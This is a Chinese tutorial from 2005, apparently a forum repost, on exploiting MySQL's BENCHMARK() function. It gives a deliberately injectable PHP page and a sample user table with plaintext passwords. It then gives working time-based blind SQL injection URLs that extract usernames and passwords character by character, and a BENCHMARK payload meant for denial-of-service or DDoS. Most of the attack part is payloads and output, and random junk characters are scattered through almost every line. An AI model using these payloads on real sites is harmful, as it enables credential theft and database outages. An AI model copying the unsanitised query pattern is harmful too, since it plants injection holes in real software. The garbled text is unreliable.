MYSQL中BENCHMARK函数的利用 - y0 V f4 |) {' ]
本文作者:SuperHei$ y6 G/ l6 H8 w0 l0 n- ~0 g+ ?
文章性质:原创. G8 [. P# c6 z% H3 z
发布日期:2005-01-02: d; V- U4 S7 x* m! J& u
完成日期:2004-07-09 % q9 B9 l$ p5 Z6 L: S6 K; H
第一部
+ f7 v8 y! G& m7 H' _; R. W. `& V) I7 J, c( o0 R
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ; T1 v3 E) V2 V! _
+ Z/ \( u! ]9 c一.前言/思路; C0 Y" }2 n5 I9 [6 q
* g( P7 t5 \; Y: f5 J* R6 r 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。( q5 c/ b* k4 T; d( J
) w. E7 q; k& R 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。2 t# Y4 K- d& i
0 q" |; @2 R8 k% ~
二.关于BENCHMARK函数
S7 S1 u0 v& c, ?' b) r% Q! _* K% k% K8 s5 P n: e* K
在MySQL参考手册里可以看到如下描叙: 3 _$ @& L( r9 G/ u/ \* R
2 O0 I7 ?" k0 [
4 m, v, j* ]2 E" e5 B0 D k--------------------------------------------------------------------------------
' v7 ~" j8 P+ N& F2 L2 [; f4 \# ~ [% W3 q1 f5 D+ ~% @8 z( E
BENCHMARK(count,expr) 7 X; o0 t0 P3 }0 n# j
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 # e" @: a1 p1 L: G+ ?2 Z
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ) k6 \3 }/ i% j2 O5 _
+----------------------------------------------+
; [1 \0 X- Z) u* z$ h8 || BENCHMARK(1000000,encode("hello","goodbye")) | 2 g" ~0 ]4 v r* E- l) F
+----------------------------------------------+
8 ^- j; _0 x; W+ q| 0 |
3 c2 S9 H6 V( ]+----------------------------------------------+
7 F4 A; {/ I3 |! G( I1 row in set (4.74 sec) " M- E6 s: Q) B3 |4 Q+ n9 i, Z
4 A9 ^3 H: v$ k报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。6 y3 m6 l$ e! N' z
, \' e6 G b" Z1 Q6 P- G
* k3 E; k2 _5 U6 w--------------------------------------------------------------------------------/ g! } g/ D2 B: {
* v8 I( X/ `! `" o4 u9 l& C' w
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
, Z6 q- K3 {$ @' m& d' Y- ?. G3 l! L; A1 O4 |
mysql> select md5( 'test' );
e7 g: A( [7 U7 ^0 q+----------------------------------+ + L% I0 T% G/ c( k: J
| md5( 'test' ) | 4 V0 R$ B/ p K* d/ c
+----------------------------------+ ( v6 G y! L6 N. ?' u* ^% ]
| 098f6bcd4621d373cade4e832627b4f6 | + k, G& K/ i3 r" Q& ]& p
+----------------------------------+
2 ]" D0 |2 K9 o! p( e9 C- h1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 9 H( f0 S/ J# f; ^$ G1 y8 _# {
2 U0 t6 ~+ L: B3 z4 I
mysql> select benchmark( 500000, md5( 'test' ) ); % i- g4 J( Y& J; r: f$ F+ \( }
+------------------------------------+
$ u0 L7 J* y3 E- _' I| benchmark( 500000, md5( 'test' ) ) |
4 n# D) D/ M. [! j+------------------------------------+
! B- n( @( d3 u6 j| 0 | + q& T% G0 l, F* H1 w9 f
+------------------------------------+ % H% {4 n" l. n3 b! T9 ?% G
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec M+ n+ i: l& r9 J& F: _# H
" I+ o. C) l3 j' E1 m1 f) ]
5 n$ @+ k9 i* y1 `0 w4 o 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ! m/ J4 Y7 ~* L- `2 _2 s
0 P# F [( t. I
三.具体例子
& h+ P2 z4 L- W) f+ a [
# n4 W' Q2 s7 U/ d 首先我们看个简单的php代码:3 C; g! f4 ]0 \5 e- E$ {& N
: |1 ~3 e( R6 {* ^9 v< ?php
2 c- |2 I. `" R, q1 [1 s$servername = "localhost";
) T1 \4 \0 G1 r& [3 n. R5 O; U$dbusername = "root";
5 |/ j) i! {$ l$ V3 X$dbpassword = "";
5 m8 C- O1 y8 l$ k; K8 B$dbname = "injection"; ' R7 F F N+ r$ {
* X" W# F% E6 M& B' r* S) p
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 6 e4 K" {4 K( }0 v+ k& _
5 U7 x( X+ o( _3 @( A$sql = "SELECT * FROM article WHERE articleid=$id"; 9 `7 D; ?8 M+ w8 ]8 R
$result = mysql_db_query($dbname,$sql); y1 ]- Y7 }* {" n/ E0 i
$row = mysql_fetch_array($result);
U' [) D. o! `6 W0 s. y
$ F7 C! ^: P2 p# oif (!$row)
4 ^! k. _/ r4 B% l( i{ 9 b+ X! }8 s) Q$ E
exit; 2 g0 S1 s$ q. _% o/ ]! j
}
9 _9 l2 ^/ c( N1 o& i0 x* x: m?>: @2 w" {8 O7 _8 F8 c
7 Y' _2 ^( D( l4 r/ k
- g r+ `- h2 ]( w# o# u$ P 数据库injection结构和内容如下:
( H* Q! [- m6 G/ _2 n! U9 e
/ Z4 b0 S1 `# N9 H9 G7 ~; u# 数据库 : `injection` 3 C2 e4 U0 Y7 ~8 n- m
# / j! D+ T& d, x& F. T' j
; @$ m4 m. L9 p$ s# -------------------------------------------------------- 5 X! m5 h& k8 R: n0 ^. ?
+ r8 ~# b2 v. G- P3 q
#
8 L. z# B2 k; G( b; s3 s x# 表的结构 `article` # `( V- V* @6 m! z
#
& K. d2 k$ W' L$ r. H% U0 U
( Q" H6 L' a: {8 vCREATE TABLE `article` ( % I6 V. N+ v6 T+ l. U2 l5 N2 d- N
`articleid` int(11) NOT NULL auto_increment,
) s |7 H2 v6 R3 M/ [& }& y`title` varchar(100) NOT NULL default '', : S+ e6 A- }2 E. {; i
`content` text NOT NULL,
* ?9 ^* C( @- ^# b {. ~$ fPRIMARY KEY (`articleid`)
2 {( }2 n+ [8 V& e w) TYPE=MyISAM AUTO_INCREMENT=3 ; / ]; ~* m! J0 ~4 y2 O$ Y( m1 [6 m& _
. x4 X4 S! [/ |; d8 M
#
0 P$ T8 L6 I6 T0 Z$ f: I# 导出表中的数据 `article` ; L" |& w& D0 q7 Z0 T( R `
#
3 m6 E+ K8 F' k6 }$ I* [
9 r+ c2 k" r+ @, p1 _INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 5 R( W: v0 a. `6 m9 m
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 L9 f; q- R. o$ f2 A# j, g3 _. G: v8 O7 ]% m* C+ l# \! ?6 O8 Y
# --------------------------------------------------------
- T+ }5 R6 H7 G6 m5 P
0 Y. H- L1 b7 I# u$ v: ]#
% ^$ @4 p$ G9 k! h) W; l# 表的结构 `user`
% G* u# r4 I( W. N+ }6 N' X#
! o; ~6 F, K3 I$ Z/ f$ T" j. i# }
CREATE TABLE `user` ( 4 p2 c) i4 q5 X( [+ }3 e8 W
`userid` int(11) NOT NULL auto_increment, - D1 ~; B: r( e% u1 M1 I
`username` varchar(20) NOT NULL default '',
7 w2 i, k0 g. C( C" H7 B4 c`password` varchar(20) NOT NULL default '', , j/ a2 Q' g( u. @% _) o
PRIMARY KEY (`userid`) ' C; e* L4 T5 w7 X0 l0 I( |
) TYPE=MyISAM AUTO_INCREMENT=3 ;
( a- _/ `; \ ?( T% ~' s0 F; g' i: P: q: m4 e c9 R
#
3 I+ J7 Y! m3 p1 Z. g# 导出表中的数据 `user`
6 g' X Z* g( M8 ?" v) q#
. r1 ^$ M! j6 B2 K9 N: J! e
* p, t& x7 g. [/ \8 @INSERT INTO `user` VALUES (1, 'angel', 'mypass'); ' ?1 Q6 P5 g8 I# g$ j6 M9 t% a4 l
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 S8 J" T9 U- [, L% ?/ u
+ R% z( v. w8 W+ h- e" i5 w. K& _9 y7 F0 Q3 ^/ e
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
R# ^8 Y* r3 w
& k5 l" X+ B$ H, A+ N" H7 J8 {" Oid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*# G+ [$ ^; Z6 n) Y$ A
! O) D8 p( E1 V1 _0 n8 X6 h0 H
: j$ l2 n# T$ M3 w 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
/ M* e# M( X; P; Q% _* T8 u7 f: [& X9 A3 `% @
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
4 S/ c1 f7 I% d" S1 b ( S0 ]7 o* c2 V/ H) B
' M+ C/ e0 M; m. T
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
9 S3 j7 }" ~* H* X3 y+ F* H }% L0 X$ L6 S5 \" ?) ]2 c; n t
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
; J& H; |. _% A2 J$ a; d3 \2 L% B- e/ o3 x+ F3 \
第二部
5 v4 k& A" Y: n9 O. j0 }, O7 j) l+ b# M! J8 K$ P2 f0 j& q
利用BENCHMARK函数进行ddos攻击 0 h; o3 D- M4 f. v& A7 b
1 G, G. x, f. O. M7 r1 o6 M8 M$ A 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! f. T# E8 R* K
9 Y* d, ~4 z+ M* W% hhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))9 ]4 [1 L" g5 i9 Q7 A* K) _
3 ]0 T5 O5 Y' c9 y0 U# T" C
2 X3 ^! D. W/ b
小结) G: z2 l8 C" H4 h
) `- t$ R, O+ [: s- \0 ~ 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
4 h& U) F$ m+ G, t
7 _) t) z. @/ e) y
, D; F2 x9 ^6 q. \: x+ W7 ^ |